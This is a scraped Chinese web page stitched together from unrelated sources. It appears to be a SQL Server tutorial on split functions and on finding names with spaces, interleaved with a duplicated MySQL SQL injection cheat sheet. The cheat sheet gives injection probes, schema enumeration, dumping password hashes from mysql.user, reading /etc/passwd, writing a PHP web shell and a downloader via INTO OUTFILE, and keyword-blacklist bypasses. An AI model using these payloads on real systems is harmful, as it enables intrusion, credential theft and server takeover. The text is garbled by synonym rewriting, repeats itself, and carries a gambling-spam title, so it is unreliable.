【997755.com澳门葡京】表值函数与JS中split,Server怎么着查找表名或列名中包含空格的表和列

 

在店铺用云平台做开发就是麻烦
,做了众多功力依旧稍微收获,都不能写博客,结果回家了团结要把大脑里面记住的写出来。

默许存在的数据库:

mysql 需要root权限读取
information_schema 在5以上的版本中存在

默许存在的数据库:

mysql 需要root权限读取
information_schema 在5以上的版本中存在

近日察觉一个数据库中的某个表有个字段名前面包涵了一个空格,这么些空格引起了有些小标题,一般出现那种状态,是因为创设对象时,使用双引号或双括号的时候,由于疏忽或手误多了一个空格,如下简单案例所示:

split()本条函数大家并不生疏,但是当前台有好多字段然后随便勾选后的这几个参数传递到后台做处理的时候却麻烦了,大家那个时候须要把那一个当字符串传递到存储进程,在蕴藏进度之中将这一个字符串分割成一个个独自的个人,我这边不说数组,是因为存储进度并未数组这一说。

测试是或不是留存注入方法

假:表示查询是百无一用的 (MySQL 报错/再次回到页面与原来分裂)

真:表示查询是健康的 (再次来到页面与原本一样)

共两种情景:

字符串类型查询时: 数字类型查询时: 登陆时:
"
""
\
\\
AND 1
AND 0
AND true
AND false
1-false 有问题时返回1的结果
1-true 有问题时返回0的结果
2-1 返回与1相同代表可能存在问题
1*56 返回与56相同代表可能存在问题
1*56 返回与1相同代表没有问题
‘ OR ‘1
‘ OR 1 — –
" OR "" = "
" OR 1 = 1 — –
‘=’
‘LIKE’
‘=0–+

例子:

SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

可以使用过多单双引号,只假诺成对出现。

SELECT * FROM Articles WHERE id = '121'''''''''''''

引号后的语句会继续执行。

SELECT '1'''''"" UNION SELECT '2' # 1 and 2

上面的符号可以用来诠释语句:

# Hash 语法
/* C-style 语法
— – SQL 语法
;%00 空字节
` 反引号

例子:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

测试是不是留存注入方法

假:表示查询是大错特错的
(MySQL 报错/重回页面与原本不一样)

真:表示查询是正常的
(重临页面与原本一样)

共三种处境:

字符串类型查询时: 数字类型查询时: 登陆时:
"
""
\
\\
AND 1
AND 0
AND true
AND false
1-false 有问题时返回1的结果
1-true 有问题时返回0的结果
2-1 返回与1相同代表可能存在问题
1*56 返回与56相同代表可能存在问题
1*56 返回与1相同代表没有问题
‘ OR ‘1
‘ OR 1 — –
" OR "" = "
" OR 1 = 1 — –
‘=’
‘LIKE’
‘=0–+

例子:

SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

可以利用过多单双引号,只倘使成对出现。

SELECT * FROM Articles WHERE id = '121'''''''''''''

引号后的语句会继续执行。

SELECT '1'''''"" UNION SELECT '2' # 1 and 2

上面的标志可以用来诠释语句:

# Hash 语法
/* C-style 语法
— – SQL 语法
;%00 空字节
` 反引号

例子:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

 

此刻大家就会想到表值函数。表值函数再次来到的是一个Table类型的表。说到那里自己想许多少人都想开了,那不就是一个数组格局么?一个表就是一个数组,每一行就是一个数组中的值,不过中间的值怎么遍历或者取出来吗?我想大家可以用游标的样式去遍历出来

测试数据库版本

VERSION()
@@VERSION
@@GLOBAL.VERSION

如果版本为5的话,下边例子重临为真:

SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

windows平台上的mysql查询与linux上回来不一样,如若是windows服务器再次来到结果会含有
-nt-log字符。

测试数据库版本

VERSION()
@@VERSION
@@GLOBAL.VERSION

假设版本为5的话,下边例子重临为真:

SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

windows平台上的mysql查询与linux上回来分歧,借使是windows服务器重回结果会包括-nt-log字符。

 

从前自己做过一个gompertz的算法模型,将VBA写的算法,全部用存储进度写出来,里面涉及到很多的一位数组,二维数组。我就是用一个个虚拟表写的。

数据库认证音讯:

mysql.user
字段 user, password
当前用户 user(), current_user(), current_user, system_user(), session_user()

例子:

SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)

数据库认证音信:

mysql.user
字段 user, password
当前用户 user(), current_user(), current_user, system_user(), session_user()

例子:

SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
USE TEST;

GO

 

--表TEST_COLUMN中两个字段都包含有空格

CREATE TABLE TEST_COLUMN 

(

    "ID  "    INT IDENTITY (1,1),

    [Name ]   VARCHAR(32),

    [Normal]  VARCHAR(32)

);

GO

 

--表[TEST_TABLE ]中包含空格, 里面对应三个字段,一个前面包含空格(后面详细阐述),一个字段中间包含空格,一个字段后面包含空格。

CREATE TABLE [TEST_TABLE ]

(

 

    [ F_NAME]        NVARCHAR(32),

    [M NAME]         NVARCHAR(32),

    [L_NAME ]        NVARCHAR(32)

)

GO

现今我们言归正传!

数据库名:

information_schema.schemata, mysql.db
字段 schema_name, db
当前数据库 database(), schema()

例子:

SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

数据库名:

information_schema.schemata, mysql.db
字段 schema_name, db
当前数据库 database(), schema()

【997755.com澳门葡京】表值函数与JS中split,Server怎么着查找表名或列名中包含空格的表和列。例子:

SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

 

那边我们先不管内联表值函数还是多语句表值函数

服务器主机名:

@@HOSTNAME

例子:

SELECT @@hostname;

服务器主机名:

@@HOSTNAME

例子:

SELECT @@hostname;

 

//语法结构,函数体由一条return语句组成,最后调用的时候跟查表一样
CREATE FUNCTION [ schema_name. ] function_name 
( [ { @parameter_name [ AS ] [ type_schema_name. ] parameter_data_type 
    [ = default ] } 
    [ ,...n ]
  ]
)
RETURNS TABLE
    [ WITH <function_option> [ ,...n ] ]
    [ AS ]
    RETURN [ ( ] select_stmt [ ) ]
[ ; ]

表和字段

表和字段

 

如此相比较空虚,现在来个实际的运用的函数。

检测字段数

三种办法:

ORDER BY判断 ORDER BY n+1; 让n一直增加直到出现错误页面。 例子: 查询语句 SELECT username, password, permission FROM Users WHERE id = ‘1’; 1′ ORDER BY 1–+ 真 1′ ORDER BY 2–+ 真 1′ ORDER BY 3–+ 真 1′ ORDER BY 4–+ 假- 查询只用了3个字段 -1′ UNION SELECT 1,2,3–+ 真
基于错误查询 AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数,而不是错误的查询语句。 例子: 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回Users的字段数

检测字段数

二种格局:

ORDER BY判断 ORDER BY n+1; 让n一直增加直到出现错误页面。 例子: 查询语句 SELECT username, password, permission FROM Users WHERE id = ‘1’; 1′ ORDER BY 1–+ 真 1′ ORDER BY 2–+ 真 1′ ORDER BY 3–+ 真 1′ ORDER BY 4–+ 假- 查询只用了3个字段 -1′ UNION SELECT 1,2,3–+ 真
基于错误查询 AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数,而不是错误的查询语句。 例子: 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回Users的字段数

 

CREATE FUNCTION Split(@Text NVARCHAR(4000),@Sign NVARCHAR(4000))  
RETURNS  @tempTable TABLE(id INT IDENTITY(1,1) PRIMARY KEY,[VALUE] NVARCHAR(4000))  
AS  
BEGIN  
    DECLARE @StartIndex INT                --开始查找的位置  
    DECLARE @FindIndex  INT                --找到的位置  
    DECLARE @Content    VARCHAR(4000)      --找到的值  


    SET @StartIndex = 1                   
    SET @FindIndex=0  

    --开始循环查找字符串逗号  
    WHILE(@StartIndex <= LEN(@Text))  
    BEGIN  
        SELECT @FindIndex = CHARINDEX(@Sign,@Text,@StartIndex)  
        IF(@FindIndex =0 OR @FindIndex IS NULL)  
        BEGIN  
        --如果没有找到者表示找完了  
            SET @FindIndex = LEN(@Text)+1  
        END   
        SET @Content = LTRIM(RTRIM(SUBSTRING(@Text,@StartIndex,@FindIndex-@StartIndex)))  
        --初始化下次查找的位置  
        SET @StartIndex = @FindIndex+1  
        --把找的的值插入到要返回的Table类型中  
        INSERT INTO @tempTable ([VALUE]) VALUES (@Content)   
    END  
    RETURN  
END  

-------------------------------------------------------------------
SELECT * FROM dbo.Split('a,b,c,d,e,f,g',',')  

询问表名

三种艺术:

Union方式 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;– MySQL 4版本时用version=9,MySQL 5版本时用version=10
盲注 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’
报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));– 在5.1.5版本中成功。

询问表名

两种方法:

Union方式 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;– MySQL 4版本时用version=9,MySQL 5版本时用version=10
盲注 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’
报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));– 在5.1.5版本中成功。

那就是说要怎样找出表名或字段名包括空格的连带新闻吗?
不管是例行方法仍然正则表明式,那几个都会功效不高。大家可以用一个取巧的艺术,就是经过字段的字符数和字节数的原理来判定,如若没有包括空格,那么列名的字节数和字符数满意上面规律(表名也是那般):

 

查询列名

Union方式 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’
盲注 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’
报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));– 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)– MySQL 5.1版本修复了
利用PROCEDURE ANALYSE() 这个需要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名

询问列名

Union方式 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’
盲注 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’
报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));– 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)– MySQL 5.1版本修复了
利用PROCEDURE ANALYSE() 这个需要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名

 

那中间涉及到了5个函数。

五次询问多少个表或列

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x

例子:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x), 4--+';

输出结果:

 [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
 [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
 [ information_schema ] >CHARACTER_SETS > DESCRIPTION
 [ information_schema ] >CHARACTER_SETS > MAXLEN
 [ information_schema ] >COLLATIONS > COLLATION_NAME
 [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
 [ information_schema ] >COLLATIONS > ID
 [ information_schema ] >COLLATIONS > IS_DEFAULT
 [ information_schema ] >COLLATIONS > IS_COMPILED

动用代码:

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

例子:

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;

出口结果:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority

三遍询问多个表或列

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x

例子:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x), 4--+';

输出结果:

 [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
 [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
 [ information_schema ] >CHARACTER_SETS > DESCRIPTION
 [ information_schema ] >CHARACTER_SETS > MAXLEN
 [ information_schema ] >COLLATIONS > COLLATION_NAME
 [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
 [ information_schema ] >COLLATIONS > ID
 [ information_schema ] >COLLATIONS > IS_DEFAULT
 [ information_schema ] >COLLATIONS > IS_COMPILED

运用代码:

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

例子:

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;

出口结果:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority

    DATALENGTH(name) = 2* LEN(name)

第一个:LEN() 那个没得说的,就是类似JS中的length

根据列名查询所在的表

SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’; 查询字段为username的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’; 查询字段中包含user的表

据悉列名查询所在的表

SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’; 查询字段为username的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’; 查询字段中包含user的表

 

第二个:LTRIM() 那一个从字符串左边删除空格或其余预订义字符

据悉表查询包涵的字段

SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’; 查询user表中的字段
SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’; 查询包含user字符串表中的字段

根据表查询包括的字段

SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’; 查询user表中的字段
SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’; 查询包含user字符串表中的字段

 

第三个:RTRIM() 字符串的前边初始删除空白字符或其余预约义字符

绕过引号限制

SELECT * FROM Users WHERE username = 0x61646D696E Hex编码
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) 利用CHAR()函数

绕过引号限制

SELECT * FROM Users WHERE username = 0x61646D696E Hex编码
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) 利用CHAR()函数

 

第四个: CHARINDEX(expression1 , expression2 , [ start_location
] )
 再次来到值是  int
那一个函数有点看头了,也很要紧。

绕过字符串黑名单

SELECT ‘a’ ‘d’ ‘mi’ ‘n’;
SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT CONCAT_WS(”, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);

运用CONCAT()时,任何个参数为null,将回来null, 推荐使用CONCAT_WS() 。

CONCAT_WS() 函数第三个参数表示用哪些字符间距所查询的结果。

绕过字符串黑名单

SELECT ‘a’ ‘d’ ‘mi’ ‘n’;
SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT CONCAT_WS(”, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);

行使CONCAT()时,任何个参数为null,将赶回null,
推荐应用CONCAT_WS() 。

CONCAT_WS()
函数第三个参数表示用哪些字符间距所查询的结果。

SELECT  name ,

        DATALENGTH(name) AS NAME_BYTES ,

        LEN(name)         AS NAME_CHARACTER

FROM    sys.columns

WHERE   object_id = OBJECT_ID('TEST_COLUMN');
  • 首先个参数是要找的字符串  ;
  • 第一个参数是在哪个地方寻找这一个字符串 ;
  • 其多个参数是初叶查找的地方  ;

规范语句

CASE
IF()
IFNULL()
NULLIF()

例子:

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

条件语句

CASE
IF()
IFNULL()
NULLIF()

例子:

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

 

以此函数类似于C#中的StartWith(),IndexWith()等函数。

光阴推移查询:

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5

例子:

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

岁月推移查询:

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5

例子:

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

997755.com澳门葡京 1

  例子:CustomName包蕴客户的First
Name和Last
Name,它们之间被一个空格隔开。大家用CHARINDX函数确定五个名字中间空格的职责。通过这么些情势,大家可以分析ContactName列的空格位置,这样可以只体现那些列的last
name部分。

权限

权限

 

第五个: SUBSTRING(str,
pos, len)

 这一个函数类似JS中的substring() 是用来抓出一个栏位资料中的其中一部分/截取字符串的一个措施

文本权限

上边的语句可以查询用户读写文件操作权限:

SELECT file_priv FROM mysql.user WHERE user = ‘username’; 需要root用户来执行 MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’; 普通用户都可以 MySQL 5

文本权限

上边的说话能够查询用户读写文件操作权限:

SELECT file_priv FROM mysql.user WHERE user = ‘username’; 需要root用户来执行 MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’; 普通用户都可以 MySQL 5

 

  • 首先个参数是要截取的字符串
  • 997755.com澳门葡京 ,首个参数是从头的义务;
  • 其八个参数是截取的尺寸 

读取文件

假设用户有文件操作权限可以读取文件:

LOAD_FILE()

例子:

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
  • 文件必须在服务器上。
  • LOAD_FILE()函数操作文件的当前目录是@@datadir 。
  • MySQL用户必须有所对此文件读取的权杖。
  • 文件大小必须低于 max_allowed_packet。
  • @@max_allowed_packet的默许大小是1047552 字节.

读取文件

假使用户有文件操作权限可以读取文件:

LOAD_FILE()

例子:

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
  • 文件必须在服务器上。
  • LOAD_FILE()函数操作文件的当前目录是@@datadir
  • MySQL用户必须拥有对此文件读取的权柄。
  • 文件大小必须低于
    max_allowed_packet。
  • @@max_allowed_packet的默许大小是1047552
    字节.

规律是如此的,保存这个元数据的字段类型为sysname **,其实这一个系统数据类型,用于定义表列、变量以及存储进程的参数,是nvarchar(128)的同义词。所以一个字母占2个字节。**那么大家设置那么些原理写了一个脚本来检查数据中那一个表名或字段名包括空格。方便巡检。如下测试所示

  例子:SELECT SUBSTR (Store_Name, 2, 4) FROM Geography WHERE
Store_Name = ‘San Diego’;

写文件

一经用户有文件操作权限能够写文件。

INTO OUTFILE/DUMPFILE

写一个php的shell:

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

访问如下链接:

写一个下载者:

SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

访问如下链接:

  • INTO OUTFILE 不可以覆盖已存在的文本。
  • INTO OUTFILE 必须是最后一个询问。
  • 引号是必须的,因为尚未艺术可以编码路径名。

写文件

万一用户有文件操作权限可以写文件。

INTO OUTFILE/DUMPFILE

写一个php的shell:

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

访问如下链接:

写一个下载者:

SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

访问如下链接:

  • INTO
    OUTFILE 不得以覆盖已存在的文书。
  • INTO
    OUTFILE 必须是最后一个询问。
  • 引号是必须的,因为尚未章程可以编码路径名。

 

 

PDO堆查询办法操作数据库

PHP使用PDO_MYSQL来连接数据库,便足以选取堆查询,堆查询可以同时施行三个语句。

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');

PDO堆查询办法操作数据库

PHP使用PDO_MYSQL来连接数据库,便足以使用堆查询,堆查询可以同时执行八个语句。

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');

 

MySql特有的写法

MySql中,/*! SQL 语句 */ 那种格式里面的 SQL
语句会当正常的话语一样被分析。

如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345
SQL 语句 */

当版本号大于等于该数字,SQL 语句则履行,否则就不履行。

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

MySql特有的写法

MySql中,/*! SQL
语句 */ 那种格式里面的 SQL 语句会当正常的说话一样被分析。

如果在!之后是一串数字(那串数字就是
mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */

当版本号大于等于该数字,SQL
语句则履行,否则就不履行。

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
 

IF OBJECT_ID('tempdb.dbo.#TabColums') IS NOT NULL

    DROP TABLE dbo.#TabColums;

 

CREATE TABLE #TabColums

(

    object_id            INT ,

    column_id            INT

)

 

INSERT INTO #TabColums

SELECT  object_id ,

        column_id

FROM    sys.columns

WHERE   DATALENGTH(name) != LEN(name) * 2

 

 

SELECT 

    TL.name AS TableName,

    C.Name AS FieldName,

    T.Name AS DataType,

    DATALENGTH(C.name) AS COLUMN_DATALENGTH,

    LEN(C.name) AS COLUMN_LENGTH,

    CASE WHEN C.Max_Length = -1 THEN 'Max' ELSE CAST(C.Max_Length AS VARCHAR) END AS Max_Length,

    CASE WHEN C.is_nullable = 0 THEN '×'  ELSE N'√' END AS Is_Nullable,

    C.is_identity,

    ISNULL(M.text, '')  AS  DefaultValue,

    ISNULL(P.value, '') AS FieldComment

    

FROM sys.columns  C

INNER JOIN  sys.types T ON C.system_type_id = T.user_type_id

LEFT  JOIN dbo.syscomments M ON M.id = C.default_object_id

LEFT  JOIN sys.extended_properties P ON P.major_id = C.object_id AND C.column_id = P.minor_id 

INNER JOIN sys.tables TL ON TL.object_id = C.object_id

INNER JOIN #TabColums TC ON C.object_id = TC.object_id AND c.column_id = TC.column_id

ORDER BY C.Column_Id ASC

模糊和歪曲

混淆和混淆

 

同意的字符

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space

例子:

'%0A%09UNION%0CSELECT%A0NULL%20%23

括号也能够用来绕过过滤空格的情形:

28 (
29 )

例子:

UNION(SELECT(column)FROM(table))

同意的字符

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space

例子:

'%0A%09UNION%0CSELECT%A0NULL%20%23

括号也得以用来绕过过滤空格的状态:

28 (
29 )

例子:

UNION(SELECT(column)FROM(table))

 

AND或OR前边可以跟的字符

20 Space
2B +
2D
7E ~
21 !
40 @

例子:

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

dual是一个虚拟表,可以用来做测试。

AND或OR后边可以跟的字符

20 Space
2B +
2D
7E ~
21 !
40 @

例子:

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

dual是一个虚拟表,可以用来做测试。

 

多少个针对黑名单绕过的事例

多少个针对黑名单绕过的例证

997755.com澳门葡京 2

按照关键字的黑名单

过滤关键字 and or
php代码 preg_match(‘/(and|or)/i’,$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

上面那种办法你需求已经精晓有些表和字段名(可以行使substring函数去一个一个到手information_schema.columns表中的数据)

过滤关键字 and or union
php代码 preg_match(‘/(and|or|union)/i’,$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=’admin’
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i’,$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’
绕过方式 1 && (select user from users limit 1) = ‘admin’
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i’,$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’
绕过方式 1 && (select user from users limit 1) = ‘admin’
过滤关键字 and, or, union, where, limit
php代码 preg_match(‘/(and|or|union|where|limit)/i’, $id)
会过滤的攻击代码 1 && (select user from users limit 1) = ‘admin’
绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin
过滤关键字 and, or, union, where, limit, group by
php代码 preg_match(‘/(and|or|union|where|limit|group by)/i’, $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = ‘admin’
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = ‘a’
过滤关键字 and, or, union, where, limit, group by, select, ‘
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’)/i’, $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/i’, $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/i’, $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/i’, $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i’,$id)
